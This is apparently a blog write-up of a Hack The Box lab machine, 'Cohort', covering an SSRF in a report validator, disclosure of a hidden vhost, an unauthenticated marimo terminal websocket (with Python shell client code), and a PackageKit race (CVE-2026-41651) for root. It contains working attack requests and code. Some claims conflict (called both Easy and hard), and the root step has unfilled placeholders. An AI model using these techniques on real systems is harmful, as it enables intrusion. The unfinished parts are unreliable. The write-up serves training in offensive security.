Peter Rakolcza Get in touch
← back to archive
// technical_debrief Easy

Cohort

Cohort is a hard-difficulty Linux box built around a client-rendered analytics site whose "report source validator" is a full-read SSRF.

platform
Hack The Box
target_os
Linux (Ubuntu 24.04 / kernel 6.8)
difficulty
Easy
season
Season 11
logged
August 4, 2026
exploit_vectors → Full-read SSRFInternal disclosure via /statusmarimo unauthenticated terminalPackageKit TOCTOU (CVE-2026-41651)

Summary of Exploitation

Cohort is a hard-difficulty Linux box built around a client-rendered analytics site whose “report source validator” is a full-read SSRF. Starting from an unauthenticated position, the chain proceeds as follows:

  1. Full-read SSRF in /api/validate fetches an attacker-supplied URL and returns the response body as a preview. The fetcher is Python urllib, and the internal-address filter is a string match with no DNS resolution.
  2. Internal disclosure via /status — read through the SSRF (the request originates from the box), this endpoint leaks nginx’s upstream map, including a randomly-named vhost nb-1be3782a8afd3ad5.cohort.htb → 127.0.0.1:8888 that is unguessable and absent from any wordlist.
  3. marimo unauthenticated terminal — the disclosed vhost is a marimo notebook server. Its UI is gated behind a login token, but the terminal websocket /terminal/ws is not, yielding RCE as marimo.
  4. PackageKit TOCTOU (CVE-2026-41651) — a time-of-check-time-of-use race on cached_transaction_flags lets an unprivileged local user install an arbitrary package as root, executing its scriptlet and completing the chain. A conspicuous Sysmon/laurel audit stack is a decoy.

Recon Phase

An initial full-port Nmap scan was run against the target:

nmap -p- -A -Pn -oA nmap.txt --min-rate 1000 <target-ip>

Results (abridged):

Port State Service Version
22 open ssh OpenSSH 9.6p1 (Ubuntu)
80 open http nginx 1.24.0 — redirects to https://cohort.htb/
443 open ssl/http nginx 1.24.0 — CN=cohort.htb, SAN *.cohort.htb

Key takeaways from recon:

  • Only a web surface and SSH. The site redirects everything to https://cohort.htb/.
  • The TLS certificate carries a wildcard SAN (DNS:*.cohort.htb) — the first hint that vhosts matter, though the decisive vhost turns out to be unguessable (see Step 2).

The domain was added to /etc/hosts:

echo "<target-ip>  cohort.htb" | sudo tee -a /etc/hosts

Content discovery surfaced three paths:

gobuster dir -u https://cohort.htb -k -x '' \
  -w .../DirBuster-2007_directory-list-2.3-medium.txt
/assets   301
/status   403     <- gated, not the SPA's default response
/api      301

The site is a client-rendered SPA. /portal.html exposes a Client Insights feature: register a “report source URL” that the backend fetches once “to confirm it is reachable.”

Gotcha — vhost fuzzing is a dead end. Host-header fuzzing returns an endless list of identical 301 / 178 bytes → https://cohort.htb/ results. That is nginx’s catch-all server block, not real vhosts. Confirm with a random host:

curl -skI https://cohort.htb -H "Host: $(head -c8 /dev/urandom | xxd -p).cohort.htb"
# 301 ... Location: https://cohort.htb/

The real vhost is not in any wordlist — it is only obtainable via the disclosure in Step 2. Filtering on the wrong size (-fs 908, the root-page length) also lets the 178-byte catch-all noise through; auto-calibrate with -ac.


SSRF Enumeration

Confirming full-read SSRF

The validator returns status, content-type, and a body preview:

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  --data-raw '{"url":"https://cohort.htb/portal.html","format":"csv"}'
{"ok": true, "fetched_status": 200, "content_type": "text/html",
 "preview": "<!doctype html>...", "message": "Source reachable."}

This is a full-read SSRF (~4 KB preview), not blind — the response body comes back. The format field is cosmetic (sending csv for HTML still returns ok: true).

Fingerprinting the fetcher

Point the validator at a listener and read the inbound request:

python3 -m http.server 8000 &
# submit: {"url":"http://<attacker-ip>:8000/probe","format":"json"}
GET /probe HTTP/1.1
Accept-Encoding: identity
User-Agent: CohortInsights/1.0 (+source-validator)

Accept-Encoding: identity with no Accept header is the signature of Python urllib.request (confirmed later from source). The operational consequence: urllib follows redirects by default.

Mapping the filter

# blocked
{"url":"http://127.0.0.1/status"}  -> "Internal or loopback addresses are not permitted."
# allowed
{"url":"http://cohort.htb/status"} -> 200 + body

The deny-list is a string match on the submitted host with no DNS resolution (BLOCKED_HOSTS = {"localhost","127.0.0.1","::1",...}). Because cohort.htb resolves to loopback on the box, it passes the filter and still reaches local services — no encoding trickery needed.

Gotcha — file:// is doubly blocked. The validator’s scheme allow-list (http, https) rejects it at submission, and urllib’s redirect handler independently refuses cross-scheme redirects. No filesystem reads via the SSRF.


Exploitation Phase

Step 1 — /status upstream disclosure (the pivot)

/status returns 403 externally but is readable through the SSRF, because the request originates from the box itself:

curl -sk https://cohort.htb/api/validate -X POST \
  -H 'Content-Type: application/json' \
  --data-raw '{"url":"http://cohort.htb/status","format":"json"}'
{"service":"cohort-edge","upstreams":[
  {"name":"marketing","host":"cohort.htb","root":"/var/www/cohort"},
  {"name":"insights-api","host":"cohort.htb","target":"127.0.0.1:5000"},
  {"name":"notebooks","host":"nb-1be3782a8afd3ad5.cohort.htb",
   "target":"127.0.0.1:8888","note":"internal analyst workspace, not for external use"}
]}

This is the crux of the box. The vhost nb-1be3782a8afd3ad5.cohort.htb has a random hex label — unguessable and absent from every wordlist. /status is the only place it appears. Without this leak the box is effectively unsolvable.

Optional — redirect bypass for direct 127.0.0.1 probing. For addresses the filter does block, a 302 served from the attacker box redirects urllib to the real target (the filter only inspects the submitted URL, never the redirect hop). Useful during enumeration; not required for the final path, which reaches the vhost directly over 443.

Step 2 — Reaching the marimo vhost

Add the disclosed name to /etc/hosts; nginx serves it over 443 under the wildcard cert:

echo "<target-ip> nb-1be3782a8afd3ad5.cohort.htb" | sudo tee -a /etc/hosts
curl -sk https://nb-1be3782a8afd3ad5.cohort.htb/ | grep -i '<title>'
# <title>marimo</title>

The root page is a marimo notebook login form (POST /auth/login, “Access Token / Password”); Vary: Cookie indicates session-cookie auth.

Gotcha — the SSRF path 504s, direct access works. Requested through the SSRF, the vhost returns 504 Gateway Time-out (the fetcher gives up on nginx’s proxy). Hitting it directly with a longer timeout works fine and gives full HTTP — POST, cookies, and websockets — which the next step needs.

Step 3 — marimo unauthenticated /terminal/ws → shell as marimo

marimo gates its notebook UI behind the login token, but the terminal websocket is not gated. Connecting to it drops straight into a PTY.

import ssl, threading, websocket   # pip install websocket-client  (NOT: websocket)

HOST = "nb-1be3782a8afd3ad5.cohort.htb"
ws = websocket.WebSocket(sslopt={"cert_reqs": ssl.CERT_NONE, "check_hostname": False})
ws.connect(f"wss://{HOST}/terminal/ws")

def reader():
    while True:
        try:
            d = ws.recv()
            print(d if isinstance(d, str) else d.decode(errors="replace"), end="", flush=True)
        except Exception:
            break

threading.Thread(target=reader, daemon=True).start()
while True:
    ws.send(input() + "\n")
marimo@cohort:~$ id
uid=1000(marimo) gid=1000(marimo) groups=1000(marimo)

RCE as marimo.

Tooling gotchas

  • Install websocket-client, not the abandoned websocket (0.2.1). Same import name, but the old one has no client WebSocket() class and shadows the correct module.
  • Pass sslopt to the constructor, not connect().
  • check_hostname=False — the cert is *.cohort.htb and you are reaching a subdomain via a hosts entry.

The intended token was recoverable from the process list anyway (--token-password YKQ6iPyO5kusNx0BpVAPfjP5), confirming what the login wanted — but /terminal/ws skips it entirely.

User flag:

cat /home/marimo/user.txt

Step 4 — Privilege escalation: PackageKit TOCTOU (CVE-2026-41651)

Enumeration. All conventional vectors are dead: no sudo -l entry, no useful SUID/SGID, no file capabilities, no writable cron/timer or service unit. /opt contains a conspicuous Sysmon-for-Linux + laurel audit stack.

Trap — laurel is a decoy, not the target. The laurel binary in /usr/local/sbin is loud and exotic, but it is the audit monitor, not the vulnerability. Its config even watches package management: label-keys = ["software_mgmt"], a -w /usr/bin/dpkg -k software_mgmt rule, and label-script."^/root/maint-.*[.]sh$". That configuration points at the method (package installation as root), not at laurel as the bug. Chasing laurel — or hunting a non-existent root cron job with pspy — is wasted time.

The real surface is a standard privileged daemon reachable across a privilege boundary: PackageKit, via system D-Bus, gated by polkit. Signals present all along: /usr/lib/polkit-1/polkit-agent-helper-1 (SUID), polkitd and dbus-daemon --system running, and polkit .rules in the enumeration output.

The deciding step is versioning that daemon:

pkcon --version
dpkg -l | grep -iE 'packagekit|polkit'

A PackageKit version in the range 1.0.2 – 1.3.4 is vulnerable to CVE-2026-41651.

Note — linpeas reports presence, you supply version. CVEs map to versions, and linpeas does not print PackageKit’s version. After enumeration, version every root-owned service reachable across a boundary (SUID, D-Bus/polkit, socket) and CVE-search each. A flashy planted binary (laurel) is often there precisely to pull attention off the boring standard daemon (PackageKit) that holds the bug.

The vulnerability. CVE-2026-41651 is a TOCTOU race on transaction->cached_transaction_flags in PackageKit src/pk-transaction.c, from three interacting bugs:

  1. Unconditional flag overwrite — InstallFiles() writes caller-supplied flags to cached_transaction_flags without checking whether the transaction is already authorized/running; a second call overwrites them mid-flight.
  2. Silent backward-transition rejection — pk_transaction_set_state() silently discards an illegal RUNNING → WAITING_FOR_AUTH transition, but the overwrite from (1) has already landed, so the transaction keeps running with corrupted flags.
  3. Late flag read at dispatch — the scheduler’s idle callback reads cached_transaction_flags at execution time, not authorization time.

Net effect: an unprivileged local user wins the race between authorization and dispatch, flips the trusted/simulate flags after auth, and gets PackageKit to install an arbitrary package as root, running its scriptlet — without authentication. Patched in 1.3.5.

Exploitation (PoC: github.com/Vozec/CVE-2026-41651):

# as marimo, on target
git clone https://github.com/Vozec/CVE-2026-41651
cd CVE-2026-41651
# <CONFIRM: exact invocation used>

The PoC builds a package whose root scriptlet grants privilege (e.g. SUID root shell / sudoers entry / root reverse shell), then drives the InstallFiles race until the scriptlet executes as root.

Root Flag Successfully Obtained

# <CONFIRM: id -> uid=0(root)>
cat /root/root.txt
<root_flag>

Key Takeaways

  • Read internal endpoints through any SSRF. /status here was pure information disclosure and the only route to the hidden vhost — the random hex hostname was otherwise unobtainable.
  • String-match host filters that don’t resolve are trivially bypassed. Any hostname that itself points at loopback (cohort.htb) defeats a BLOCKED_HOSTS set with no encoding tricks required.
  • websocket-client, not websocket. Different package, same import name — a classic time-sink.
  • Auth on the front door ≠ auth on every route. marimo gated its UI but left /terminal/ws open.
  • linpeas lists presence; you supply version. Post-enumeration reflex: version every privileged, boundary-reachable daemon (pkcon --version, pkexec --version, D-Bus services) and CVE-search each.
  • A loud, exotic planted binary can be a decoy. The Sysmon/laurel stack existed to pull attention off PackageKit, a standard daemon with a version-specific bug. Don’t skip versioning the boring privileged services.
  • pspy is for scriptable/cron TOCTOU, blind to a race inside a compiled daemon. When nothing spawns but a privileged service is clearly the surface, pivot from “hidden cron job” to “versioned CVE in this daemon.”

Full Attack Chain

unauthenticated
   └─ SSRF /api/validate (full-read preview)
        └─ /status read via SSRF  ──>  internal upstream disclosure
             └─ nb-1be3782a8afd3ad5.cohort.htb  ──>  127.0.0.1:8888 (marimo)
                  └─ /terminal/ws unauthenticated  ──>  shell as marimo   [USER]
                       └─ PackageKit TOCTOU (CVE-2026-41651)
                            └─ install root-scriptlet package  ──>  Administrator/root   [ROOT]